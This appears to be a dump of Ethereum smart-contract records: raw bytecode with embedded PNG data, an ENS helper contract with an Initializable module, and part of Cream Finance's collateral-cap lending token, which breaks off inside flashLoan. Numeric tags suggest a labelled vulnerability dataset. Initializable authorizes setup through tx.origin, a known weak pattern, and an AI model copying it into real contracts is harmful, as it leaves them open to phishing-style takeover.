3d6956424f5277304b47676f414141414e535568455567414141424141414141674341514141414378674442484141414167456c4551565134792b3351327772444942434534633861734e4433663952434a4256376b634f616b67666f52525a45644d6164332b55755345756e4b61706e6975756c743930776477716f794b2f4747346f36476971792f6455756b71573157515a7445444d6d4830667533494f674947334b343563366548344d5a567431494d4231424935504878337945424437594767786932754759476d6e38785152367a7a714b65437566366f766d72636c43422f7165785141414141415355564f524b35435949493d6956424f5277304b47676f414141414e5355684555674141414541414141424142414d414141425952327a74414141414956424d5645554141414147477a4d4b4a6b49434b5573474c4530654b444d714e55437773713732797a4c323344546a35654642597362574141414141585253546c4d41514f62595a6741414152644a52454655534d66746c45464f777a415152584d463231434a70663945325873475763434f4e46644939326d4565344e6567434e77417259354a5459714336647845454c643553307353336e2b486a6d6a7161714e6a555761716a722b374556754c744331494f4b6e366669396a694a4343724d554a762f794f516f38793546706a3837435a674a7834387a493745632f674672675662733841643439784c4f6e454d35776539746543384d7552434645574742314e78646f554b664139713376447977313638376b52576f6137767544754a5367366448577255456d68444473347630684a526971323771562f41714e39416b324a52676e436b71707641594f49646241535a73757a47706f51686742483966466e36307578476557726655332f73437644584e7a415970347458463142333736344c4a774236626e64335a6c6f5459634b5174783942426a5664444d414970436d67744334425642517943714b4d544245462f426d714b774f42762b7852636c50553931336f7a666e7741414141424a52553545726b4a6767673d3d6956424f5277304b47676f414141414e5355684555674141414241414141416742414d4141414470702b582f41414141456c424d564555414141414b4668385048697a30392f4d5a4b446151425143364f4943384141414141585253546c4d41514f62595a6741414147424a52454655474e4f316a59454a6744414d42434d7559436f4f6b4f634855496f4c68433551334838586b33594666634a7a484345522b5367462b376c654d436e4e3769644b34416d456349494c34556550456d717a446b314473324763586c72736c41536e536131303956726a647072786846414d774c5a4d3044482f355158567867396c794e4457564141414141424a52553545726b4a6767673d3d6956424f5277304b47676f414141414e5355684555674141414541414141424142414d414141425952327a74414141414656424d56455676636d306e656545726866586734742f74372b7a332b66622b2f2f7a36374356534141414141585253546c4d41514f62595a6741414150424a52454655534d66746c4531754179454d68564856644630735a56382f7452776755693851446250756a4d4437567348335030496356624d67595971363536324d2f4f47482b584e75614b69704e2b6465746a6a48427644713347474c6f33597179486348304f55687a54446757644b58633038355477735161687351762b6356484d724b59674e6d3145434f5353305061464a693867796d436f673633664a47484258426142577541456c45554a6d56384e48634a6f42514e496b6d55424e674f6c70524d37347676536d4a2f4943493466585342456f3841534c574a4e71417a5361724d6d766d7467557a35646d61354b4b2b76516239544f7a5a557968785850326866366973485343664f3843386441443932304a314a627662595265415a6531767743356758344f39344a32333857737858517a493437687258514769526a4b70766257554b4141414141424a52553545726b4a6767673d3d6956424f5277304b47676f414141414e5355684555674141414541414141424142414d414141425952327a7441414141456c424d564555414d43493842456b32423046614d574e704f5852355159614676477a384141414141585253546c4d41514f62595a6741414148424a52454655534d66743037734e6744414d525645334753417273494c4e42435a394a50442b7135435045454559436f51556848794b563933476851474d55546d41324363675973363742616673765542456f7050714550676b373952516230416b4a736269497469706763694d4f4e5a564139395167364768426945735353696542635a38447a4e522f764b65776331662f74384b5264556e464d6e2f38625141414141415355564f524b35435949493d6956424f5277304b47676f414141414e5355684555674141414241414141416742414d4141414470702b582f41414141456c424d564555414141443279584473704253455942746a534250686e68562b353479494141414141585253546c4d41514f62595a67414141466c4a52454655474e4e6a594b416d59495178684b43306f416d5546677147304b4b6d716d4247734747774b35696861684961424759596861704331446948756b4a304f536d704b6b50557144677067526c4b796b345137535a4b536f4a67686f75526f674245567943455a676753674e6c4e4452384241444f59436366326d3743344141414141456c46546b5375516d43436956424f5277304b47676f414141414e5355684555674141414541414141424141674d414141445842356c4e414141414446424d56455668596d7a326a4344336d546e34706c41612b337a334141414141585253546c4d41514f62595a674141414d314a524546554f4d76743072454b776a4151426d426e332b384b4665706f6362436250625467573667457162703075634778494d4848454e47536a685748646c5463624965307a516e69412f516644764a786c35435158712f4c64346971576a537737316456636c4238424f73314b41574f4f67716161424143625046656b6166686865415631374342636953517167586f77374471634f754f4246793561514636594f6434496e30774f5a4a4769467561612f427a55727334705668444b6d6e7457674357426c6c51644442755437534d756c2f774f346f44636b6735425079624461593345384a5a596f4a6a6e786b5564784d5732634f454f4275626745384f69753368357863446f4d782f722f41426436316c45442b396c393441414141415355564f524b35435949493d6956424f5277304b47676f414141414e5355684555674141414241414141416742414d4141414470702b582f414141414956424d564555414141447938764c303950536f75726e753775345662726753594b484832646e57342b4e4e5455337036656c4e4d66384a4141414141585253546c4d41514f62595a6741414149424a52454655474e4f747a38454e776a414d426443506c4146716b3054696143734c564f6f4161544348637373496b6469424556694551516e4a434f44546b2f316c79384366696d56645468734c6c4e64514e3148512b52726255326967766f67676c794d3054777a68464e6f68485a70694c6370513861455756757a57523855387a487a73734c37376d786c48365062516965786f514c4f626e51544d7a427534443254412f667a574234614e45644c34455777704141414141456c46546b5375516d43436956424f5277304b47676f414141414e5355684555674141414241414141416742414d4141414470702b582f41414141486c424d5645554141414452566b32364f6a4669515368674d6843534c69667036656e63334e786b59324c377a4663346456724e4141414141585253546c4d41514f62595a6741414146564a52454655474e4e6a594b415345424979596d415145524a695546553156574256566c55466959676c43594e46584e564b34534a514e65716c4b6c4352496f6761553756556b4568616d5a46346b6e4261476442496f496779324f776d7353514a4d4d505a6372497a7452784d48414141553373504666736e2f445941414141415355564f524b35435949493d6956424f5277304b47676f414141414e5355684555674141414541414141424142414d414141425952327a7441414141456c424d5645566a6232774b46683850486979514251415a4b446230392f4d3478672b6b4141414141585253546c4d41514f62595a6741414150684a52454655534d66746c457475777a414d524a314639705769484941445869434c4873414544394367385032763070466949306a4e534974735053744a66434c316e576b36644368555770613074594541754537546657757244594138424a346c414879314556782f7a6e636755524232735a5a68663630717639395a44545745374779396c746b415a53677a794a6145414e776c312f4165734d744e36327958596f6f41634c6c784f444d4467796d5a7a7638414656473334696f3668786e61624d764b444e37574d4f3842493142336764793275774e536e6566466c6c564268736370684a664e6f30454341586b4448446f554b2f534731386333416d525534683177346b2b51366864306837684d73347236522b734c377979522f374c3339422f4f30415659594f344231526d7339444d5547367a4265786c6f67674c703345666f44522f70443834445051703565765a614141414141456c46546b5375516d43436956424f5277304b47676f414141414e5355684555674141414541414141424142414d414141425952327a74414141414746424d56455541414143636e7076376d51442f7041573876727643784d48792b6744342f774454375473424141414141585253546c4d41514f62595a6741414150424a52454655534d66746c45474f776a414d52566d5664612b414a513567532b55436358734265396969365454644971444e395845314b684c557052664958305879302f64336f6e693379387079686463397a47646c4679686f506b7477414c67576835654465413658347456436446456d6f4d75655450654b6d495646467a6e6763625957644439683442414d2b6d7944585130546343546c6964437763476a51674e754a5649575650334a59392b454d524e425736463554696e3158707a4847324563584b4d7679555a662f636f48597036345a597a2b4f4b626b4149566c4975773262776e387177722f6151744a764262344477504344654d4232785145496873616d704862464953764c6c2f4e7833785634412b4174422b574e737530472b5a4a444a4153783762414f5746303066484759646f4d71352b642b31784e2f466a302b49537572377741414141424a52553545726b4a6767673d3d6956424f5277304b47676f414141414e5355684555674141414241414141416742414d4141414470702b582f41414141456c424d564555414141423551595a704f5852614d574d3842456b3242304650582f6a2f4141414141585253546c4d41514f62595a6741414145464a52454655474e4e6a594b416159475267454d4442454252674641517a6c4941417a4442534e6c49474d347942414d77514e6a593242444e636741444d434155434d454d494346415a796b4241694145336878494141496e3543555052502f412f4141414141456c46546b5375516d43436956424f5277304b47676f414141414e5355684555674141414541414141424143415941414143716158486541414142396b6c45515652343275326133573744494179466e5546467062332f6f30344331596a647a4a4872514e4d324a4b50742b5737366b38544b7355384d6768414241414141414141414141414162435447574a3435396b6a3847474f355843366c52377a756c464c4b4d3866755259514c572b4e39765a72446373345551694169496d616d6a334e414d57794e3533732b3879454553696b317a32586d616838346e3839545336794e4a3155584a39676b704a526d6878415254644d30375a6f414b7a36454d4974307a6e336e6e496d4966717839355761314d31724a3037486c6e467163454d4c5675666377396249384d394f6657484c4f7a6439723772683163796b6c6373365239333552555a32676c6c433558704b39356f4275546442375479454563733474684e657179387955557272365877545a354f6c59456c2b45316c776a795476454154484755724e6a376561745857304639544678564b732f394b4c724d4667546277587133793378326c4637303630483144717872585a4e2b4e7131777a74416272543132584b476e73546f37354b63493672663752485131745a4e304972514d7a6a762f64774570576c4a597a79534c6f2b41434770563277364c307552307436344e6b63784d70394e702f43625947725a456b42577671353553496d61756a7565504447662f35674139444f704a694b3138545742725571506a374e304541514141414141414141414138486b4d7439686739775033586844786f795641784e7364707230593776304135397a4e3762473354384152433646443959433139337a6b5562434a6b555855746433666c33434133673279713863355a2f4c654c3136486165304d763555445a476c6376792b77454c445241634f4d417249336f43307656612b4a50336f4c44514141414144767879386a363551692b2b42722b4141414141424a52553545726b4a6767673d3d6956424f5277304b47676f414141414e5355684555674141414241414141416742414d4141414470702b582f414141414656424d5645554141414474372b7a332b66626f5343373655444c2b2f2f7a67347438726d74576c4141414141585253546c4d41514f62595a6741414146784a52454655474e4e6a594b41534546523259474267564446684d484632646c52536358466d4d444657444656784d565a6b454649554250494641344771544578635173484b545679434941796a5546566e4d454d31784d55457a456878635647467144465268444b55524346716b6853646a616e6c594f494141484835444f5a764d3675484141414141456c46546b5375516d43436956424f5277304b47676f414141414e5355684555674141414241414141416742414d4141414470702b582f414141414431424d5645554141414474372b7334786d50362f506e6734743967344737724141414141585253546c4d41514f62595a6741414143354a52454655474e4e6a594b415345444979594742674d6a4a694d494943424550495341684943526b42565948354450675a546c696b684e436b364159416639454c613745446d627741414141415355564f524b35435949493d6956424f5277304b47676f414141414e5355684555674141414241414141416741674d414141426d35784266414141414446424d564555414141416c6b636b3066715554584879315156344a4141414141585253546c4d41514f62595a6741414143424a52454655434e646a59434157524659426964647a5155784c454d4548496a684242412f525a70414f41444d43417269475a6677634141414141456c46546b5375516d4343a26469706673582212203a50422ef613cdc04504b3b0a6c7309fea0d2fe71fdf14c2044320289bbb0df364736f6c63430008040033
[ 38 ]
0xF330b17e19474762E6F408D7dCf0327264d4A2C0
// SPDX-License-Identifier: MIT pragma solidity ^0.6.12; pragma experimental ABIEncoderV2; import "../common/lifecycle/Initializable.sol"; import "./resolvers/ENSAddressResolver.sol"; import "./resolvers/ENSNameResolver.sol"; import "./ENSRegistry.sol"; /** * @title ENS helper * * @author Stanisław Głogowski <[email protected]> */ contract ENSHelper is Initializable { ENSRegistry public registry; /** * @dev Public constructor */ constructor() public Initializable() {} // external functions /** * @notice Initializes `ENSLookupHelper` contract * @param registry_ ENS registry address */ function initialize( ENSRegistry registry_ ) external onlyInitializer { registry = registry_; } // external functions (views) /** * @notice Gets nodes addresses * @param nodes array of nodes * @return nodes addresses */ function getAddresses( bytes32[] memory nodes ) external view returns (address[] memory) { uint nodesLen = nodes.length; address[] memory result = new address[](nodesLen); for (uint i = 0; i < nodesLen; i++) { result[i] = _getAddress(nodes[i]); } return result; } /** * @notice Gets nodes names * @param nodes array of nodes * @return nodes names */ function getNames( bytes32[] memory nodes ) external view returns (string[] memory) { uint nodesLen = nodes.length; string[] memory result = new string[](nodesLen); for (uint i = 0; i < nodesLen; i++) { result[i] = _getName(nodes[i]); } return result; } // private functions (views) function _getAddress( bytes32 node ) private view returns (address) { address result; address resolver = registry.resolver(node); if (resolver != address(0)) { try ENSAddressResolver(resolver).addr(node) returns (address addr) { result = addr; } catch { // } } return result; } function _getName( bytes32 node ) private view returns (string memory) { string memory result; address resolver = registry.resolver(node); if (resolver != address(0)) { try ENSNameResolver(resolver).name(node) returns (string memory name) { result = name; } catch { // } } return result; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; /** * @title Initializable * * @dev Contract module which provides access control mechanism, where * there is the initializer account that can be granted exclusive access to * specific functions. * * The initializer account will be tx.origin during contract deployment and will be removed on first use. * Use `onlyInitializer` modifier on contract initialize process. * * @author Stanisław Głogowski <[email protected]> */ contract Initializable { address private initializer; // events /** * @dev Emitted after `onlyInitializer` * @param initializer initializer address */ event Initialized( address initializer ); // modifiers /** * @dev Throws if tx.origin is not the initializer */ modifier onlyInitializer() { require( // solhint-disable-next-line avoid-tx-origin tx.origin == initializer, "Initializable: tx.origin is not the initializer" ); /// @dev removes initializer initializer = address(0); _; emit Initialized( // solhint-disable-next-line avoid-tx-origin tx.origin ); } /** * @dev Internal constructor */ constructor() internal { // solhint-disable-next-line avoid-tx-origin initializer = tx.origin; } // external functions (views) /** * @notice Check if contract is initialized * @return true when contract is initialized */ function isInitialized() external view returns (bool) { return initializer == address(0); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import "./ENSAbstractResolver.sol"; /** * @title ENS abstract address resolver * * @dev Base on https://github.com/ensdomains/resolvers/blob/f7d62ab04bfe1692a4344f6f1d31ff81315a98c3/contracts/profiles/AddrResolver.sol */ abstract contract ENSAddressResolver is ENSAbstractResolver { bytes4 internal constant INTERFACE_ADDR_ID = bytes4(keccak256(abi.encodePacked("addr(bytes32)"))); bytes4 internal constant INTERFACE_ADDRESS_ID = bytes4(keccak256(abi.encodePacked("addr(bytes32,uint)"))); uint internal constant COIN_TYPE_ETH = 60; mapping(bytes32 => mapping(uint => bytes)) internal resolverAddresses; // events event AddrChanged( bytes32 indexed node, address addr ); event AddressChanged( bytes32 indexed node, uint coinType, bytes newAddress ); // external functions function setAddr( bytes32 node, address addr_ ) external onlyNodeOwner(node) { _setAddr(node, addr_); } function setAddr( bytes32 node, uint coinType, bytes memory addr_ ) external onlyNodeOwner(node) { _setAddr(node, coinType, addr_); } // external functions (views) function addr( bytes32 node ) external view returns (address) { return _addr(node); } function addr( bytes32 node, uint coinType ) external view returns (bytes memory) { return resolverAddresses[node][coinType]; } // internal functions function _setAddr( bytes32 node, address addr_ ) internal { _setAddr(node, COIN_TYPE_ETH, _addressToBytes(addr_)); } function _setAddr( bytes32 node, uint coinType, bytes memory addr_ ) internal { emit AddressChanged(node, coinType, addr_); if(coinType == COIN_TYPE_ETH) { emit AddrChanged(node, _bytesToAddress(addr_)); } resolverAddresses[node][coinType] = addr_; } // internal functions (views) function _addr( bytes32 node ) internal view returns (address) { address result; bytes memory addr_ = resolverAddresses[node][COIN_TYPE_ETH]; if (addr_.length > 0) { result = _bytesToAddress(addr_); } return result; } // private function (pure) function _bytesToAddress( bytes memory data ) private pure returns(address payable) { address payable result; require(data.length == 20); // solhint-disable-next-line no-inline-assembly assembly { result := div(mload(add(data, 32)), exp(256, 12)) } return result; } function _addressToBytes( address addr_ ) private pure returns(bytes memory) { bytes memory result = new bytes(20); // solhint-disable-next-line no-inline-assembly assembly { mstore(add(result, 32), mul(addr_, exp(256, 12))) } return result; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import "./ENSAbstractResolver.sol"; /** * @title ENS abstract name resolver * * @dev Base on https://github.com/ensdomains/resolvers/blob/f7d62ab04bfe1692a4344f6f1d31ff81315a98c3/contracts/profiles/NameResolver.sol */ abstract contract ENSNameResolver is ENSAbstractResolver { bytes4 internal constant INTERFACE_NAME_ID = bytes4(keccak256(abi.encodePacked("name(bytes32)"))); mapping(bytes32 => string) internal resolverNames; // events event NameChanged( bytes32 indexed node, string name ); // external functions function setName( bytes32 node, string calldata name ) external onlyNodeOwner(node) { resolverNames[node] = name; emit NameChanged(node, name); } // external functions (views) function name( bytes32 node ) external view returns (string memory) { return resolverNames[node]; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; /** * @title ENS registry * * @dev Base on https://github.com/ensdomains/ens/blob/ff0f41747c05f1598973b0fe7ad0d9e09565dfcd/contracts/ENSRegistry.sol */ contract ENSRegistry { struct Record { address owner; address resolver; uint64 ttl; } mapping (bytes32 => Record) private records; mapping (address => mapping(address => bool)) private operators; // events event NewOwner( bytes32 indexed node, bytes32 indexed label, address owner ); event Transfer( bytes32 indexed node, address owner ); event NewResolver( bytes32 indexed node, address resolver ); event NewTTL( bytes32 indexed node, uint64 ttl ); event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); // modifiers modifier authorised( bytes32 node ) { address owner = records[node].owner; require( owner == msg.sender || operators[owner][msg.sender], "ENSRegistry: reverted by authorised modifier" ); _; } /** * @dev Public constructor */ constructor() public { // solhint-disable-next-line avoid-tx-origin records[0x0].owner = tx.origin; } // external functions function setRecord( bytes32 node, address owner_, address resolver_, uint64 ttl_ ) external { setOwner(node, owner_); _setResolverAndTTL(node, resolver_, ttl_); } function setTTL( bytes32 node, uint64 ttl_ ) external authorised(node) { records[node].ttl = ttl_; emit NewTTL(node, ttl_); } function setSubnodeRecord( bytes32 node, bytes32 label, address owner_, address resolver_, uint64 ttl_ ) external { bytes32 subNode = setSubnodeOwner(node, label, owner_); _setResolverAndTTL(subNode, resolver_, ttl_); } function setApprovalForAll( address operator, bool approved ) external { operators[msg.sender][operator] = approved; emit ApprovalForAll( msg.sender, operator, approved ); } // external functions (views) function owner( bytes32 node ) external view returns (address) { address addr = records[node].owner; if (addr == address(this)) { return address(0x0); } return addr; } function resolver( bytes32 node ) external view returns (address) { return records[node].resolver; } function ttl( bytes32 node ) external view returns (uint64) { return records[node].ttl; } function recordExists( bytes32 node ) external view returns (bool) { return records[node].owner != address(0x0); } function isApprovedForAll( address owner_, address operator ) external view returns (bool) { return operators[owner_][operator]; } // public functions function setOwner( bytes32 node, address owner_ ) public authorised(node) { records[node].owner = owner_; emit Transfer(node, owner_); } function setResolver( bytes32 node, address resolver_ ) public authorised(node) { records[node].resolver = resolver_; emit NewResolver(node, resolver_); } function setSubnodeOwner( bytes32 node, bytes32 label, address owner_ ) public authorised(node) returns(bytes32) { bytes32 subNode = keccak256(abi.encodePacked(node, label)); records[subNode].owner = owner_; emit NewOwner(node, label, owner_); return subNode; } // private functions function _setResolverAndTTL( bytes32 node, address resolver_, uint64 ttl_ ) private { if (resolver_ != records[node].resolver) { records[node].resolver = resolver_; emit NewResolver(node, resolver_); } if (ttl_ != records[node].ttl) { records[node].ttl = ttl_; emit NewTTL(node, ttl_); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; /** * @title ENS abstract resolver * * @dev Base on https://github.com/ensdomains/resolvers/blob/f7d62ab04bfe1692a4344f6f1d31ff81315a98c3/contracts/ResolverBase.sol */ abstract contract ENSAbstractResolver { // modifiers modifier onlyNodeOwner(bytes32 node) { require( _isNodeOwner(node), "ENSAbstractResolver: reverted by onlyNodeOwner modifier" ); _; } // internal functions (views) function _isNodeOwner( bytes32 node ) internal virtual view returns (bool); }
0x608060405234801561001057600080fd5b50600436106100575760003560e01c806338bc01b51461005c578063392e53cd1461008c5780637b103999146100aa578063c4d66de8146100c8578063dc6008e2146100e4575b600080fd5b610076600480360381019061007191906108a6565b610114565b6040516100839190610b55565b60405180910390f35b6100946101ec565b6040516100a19190610b99565b60405180910390f35b6100b2610242565b6040516100bf9190610bcf565b60405180910390f35b6100e260048036038101906100dd91906108e7565b610268565b005b6100fe60048036038101906100f991906108a6565b6103b2565b60405161010b9190610b77565b60405180910390f35b606060008251905060608167ffffffffffffffff8111801561013557600080fd5b506040519080825280602002602001820160405280156101645781602001602082028036833780820191505090505b50905060005b828110156101e15761018e85828151811061018157fe5b6020026020010151610460565b82828151811061019a57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050808060010191505061016a565b508092505050919050565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16146102f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102ed90610bea565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f908408e307fc569b417f6cbec5d5a06f44a0a505ac0479b47d421a4b2fd6a1e6326040516103a79190610b3a565b60405180910390a150565b606060008251905060608167ffffffffffffffff811180156103d357600080fd5b5060405190808252806020026020018201604052801561040757816020015b60608152602001906001900390816103f25790505b50905060005b828110156104555761043185828151811061042457fe5b60200260200101516105e1565b82828151811061043d57fe5b6020026020010181905250808060010191505061040d565b508092505050919050565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630178b8bf856040518263ffffffff1660e01b81526004016104c09190610bb4565b60206040518083038186803b1580156104d857600080fd5b505afa1580156104ec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610510919061087d565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146105d7578073ffffffffffffffffffffffffffffffffffffffff16633b3b57de856040518263ffffffff1660e01b815260040161057f9190610bb4565b60206040518083038186803b15801561059757600080fd5b505afa9250505080156105c857506040513d601f19601f820116820180604052508101906105c5919061087d565b60015b6105d1576105d6565b809250505b5b8192505050919050565b6060806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630178b8bf856040518263ffffffff1660e01b81526004016106419190610bb4565b60206040518083038186803b15801561065957600080fd5b505afa15801561066d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610691919061087d565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461075d578073ffffffffffffffffffffffffffffffffffffffff1663691f3431856040518263ffffffff1660e01b81526004016107009190610bb4565b60006040518083038186803b15801561071857600080fd5b505afa92505050801561074e57506040513d6000823e3d601f19601f8201168201806040525081019061074b9190610910565b60015b6107575761075c565b809250505b5b8192505050919050565b60008151905061077681610e22565b92915050565b600082601f83011261078d57600080fd5b81356107a061079b82610c37565b610c0a565b915081818352602084019350602081019050838560208402820111156107c557600080fd5b60005b838110156107f557816107db88826107ff565b8452602084019350602083019250506001810190506107c8565b5050505092915050565b60008135905061080e81610e39565b92915050565b60008135905061082381610e50565b92915050565b600082601f83011261083a57600080fd5b815161084d61084882610c5f565b610c0a565b9150808252602083016020830185838301111561086957600080fd5b610874838284610dde565b50505092915050565b60006020828403121561088f57600080fd5b600061089d84828501610767565b91505092915050565b6000602082840312156108b857600080fd5b600082013567ffffffffffffffff8111156108d257600080fd5b6108de8482850161077c565b91505092915050565b6000602082840312156108f957600080fd5b600061090784828501610814565b91505092915050565b60006020828403121561092257600080fd5b600082015167ffffffffffffffff81111561093c57600080fd5b61094884828501610829565b91505092915050565b600061095d838361098c565b60208301905092915050565b60006109758383610a9b565b905092915050565b61098681610d84565b82525050565b61099581610d2a565b82525050565b60006109a682610cab565b6109b08185610ce6565b93506109bb83610c8b565b8060005b838110156109ec5781516109d38882610951565b97506109de83610ccc565b9250506001810190506109bf565b5085935050505092915050565b6000610a0482610cb6565b610a0e8185610cf7565b935083602082028501610a2085610c9b565b8060005b85811015610a5c5784840389528151610a3d8582610969565b9450610a4883610cd9565b925060208a01995050600181019050610a24565b50829750879550505050505092915050565b610a7781610d3c565b82525050565b610a8681610d48565b82525050565b610a9581610d96565b82525050565b6000610aa682610cc1565b610ab08185610d08565b9350610ac0818560208601610dde565b610ac981610e11565b840191505092915050565b6000610ae1602f83610d19565b91507f496e697469616c697a61626c653a2074782e6f726967696e206973206e6f742060008301527f74686520696e697469616c697a657200000000000000000000000000000000006020830152604082019050919050565b6000602082019050610b4f600083018461097d565b92915050565b60006020820190508181036000830152610b6f818461099b565b905092915050565b60006020820190508181036000830152610b9181846109f9565b905092915050565b6000602082019050610bae6000830184610a6e565b92915050565b6000602082019050610bc96000830184610a7d565b92915050565b6000602082019050610be46000830184610a8c565b92915050565b60006020820190508181036000830152610c0381610ad4565b9050919050565b6000604051905081810181811067ffffffffffffffff82111715610c2d57600080fd5b8060405250919050565b600067ffffffffffffffff821115610c4e57600080fd5b602082029050602081019050919050565b600067ffffffffffffffff821115610c7657600080fd5b601f19601f8301169050602081019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b6000610d3582610d64565b9050919050565b60008115159050919050565b6000819050919050565b6000610d5d82610d2a565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610d8f82610dba565b9050919050565b6000610da182610da8565b9050919050565b6000610db382610d64565b9050919050565b6000610dc582610dcc565b9050919050565b6000610dd782610d64565b9050919050565b60005b83811015610dfc578082015181840152602081019050610de1565b83811115610e0b576000848401525b50505050565b6000601f19601f8301169050919050565b610e2b81610d2a565b8114610e3657600080fd5b50565b610e4281610d48565b8114610e4d57600080fd5b50565b610e5981610d52565b8114610e6457600080fd5b5056fea164736f6c634300060c000a
[ 5, 12 ]
0xf330c109DD91D391b5cd654b7fa595fA1a8AC470
pragma solidity ^0.5.16; import "./CToken.sol"; import "./ComptrollerStorage.sol"; /** * @title Cream's Comptroller interface extension */ interface ComptrollerInterfaceExtension { function checkMembership(address account, CToken cToken) external view returns (bool); function updateCTokenVersion(address cToken, ComptrollerV2Storage.Version version) external; function flashloanAllowed(address cToken, address receiver, uint amount, bytes calldata params) external; } /** * @title Cream's CCollateralCapErc20 Contract * @notice CTokens which wrap an EIP-20 underlying with collateral cap * @author Cream */ contract CCollateralCapErc20 is CToken, CCollateralCapErc20Interface { /** * @notice Initialize the new money market * @param underlying_ The address of the underlying asset * @param comptroller_ The address of the Comptroller * @param interestRateModel_ The address of the interest rate model * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18 * @param name_ ERC-20 name of this token * @param symbol_ ERC-20 symbol of this token * @param decimals_ ERC-20 decimal precision of this token */ function initialize(address underlying_, ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_) public { // CToken initialize does the bulk of the work super.initialize(comptroller_, interestRateModel_, initialExchangeRateMantissa_, name_, symbol_, decimals_); // Set underlying and sanity check it underlying = underlying_; EIP20Interface(underlying).totalSupply(); } /*** User Interface ***/ /** * @notice Sender supplies assets into the market and receives cTokens in exchange * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param mintAmount The amount of the underlying asset to supply * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function mint(uint mintAmount) external returns (uint) { (uint err,) = mintInternal(mintAmount); return err; } /** * @notice Sender redeems cTokens in exchange for the underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemTokens The number of cTokens to redeem into underlying * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeem(uint redeemTokens) external returns (uint) { return redeemInternal(redeemTokens); } /** * @notice Sender redeems cTokens in exchange for a specified amount of underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemAmount The amount of underlying to redeem * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemUnderlying(uint redeemAmount) external returns (uint) { return redeemUnderlyingInternal(redeemAmount); } /** * @notice Sender borrows assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrow(uint borrowAmount) external returns (uint) { return borrowInternal(borrowAmount); } /** * @notice Sender repays their own borrow * @param repayAmount The amount to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function repayBorrow(uint repayAmount) external returns (uint) { (uint err,) = repayBorrowInternal(repayAmount); return err; } /** * @notice Sender repays a borrow belonging to borrower * @param borrower the account with the debt being payed off * @param repayAmount The amount to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint) { (uint err,) = repayBorrowBehalfInternal(borrower, repayAmount); return err; } /** * @notice The sender liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this cToken to be liquidated * @param repayAmount The amount of the underlying borrowed asset to repay * @param cTokenCollateral The market in which to seize collateral from the borrower * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function liquidateBorrow(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) external returns (uint) { (uint err,) = liquidateBorrowInternal(borrower, repayAmount, cTokenCollateral); return err; } /** * @notice The sender adds to reserves. * @param addAmount The amount fo underlying token to add as reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _addReserves(uint addAmount) external returns (uint) { return _addReservesInternal(addAmount); } /** * @notice Set the given collateral cap for the market. * @param newCollateralCap New collateral cap for this market. A value of 0 corresponds to no cap. */ function _setCollateralCap(uint newCollateralCap) external { require(msg.sender == admin, "only admin can set collateral cap"); collateralCap = newCollateralCap; emit NewCollateralCap(address(this), newCollateralCap); } /** * @notice Absorb excess cash into reserves. */ function gulp() external nonReentrant { uint256 cashOnChain = getCashOnChain(); uint256 cashPrior = getCashPrior(); uint excessCash = sub_(cashOnChain, cashPrior); totalReserves = add_(totalReserves, excessCash); internalCash = cashOnChain; } /** * @notice Flash loan funds to a given account. * @param receiver The receiver address for the funds * @param amount The amount of the funds to be loaned * @param params The other parameters */ function flashLoan(address receiver, uint amount, bytes calldata params) external nonReentrant { require(amount > 0, "flashLoan amount should be greater than zero"); require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed"); ComptrollerInterfaceExtension(address(comptroller)).flashloanAllowed(address(this), receiver, amount, params); uint cashOnChainBefore = getCashOnChain(); uint cashBefore = getCashPrior(); require(cashBefore >= amount, 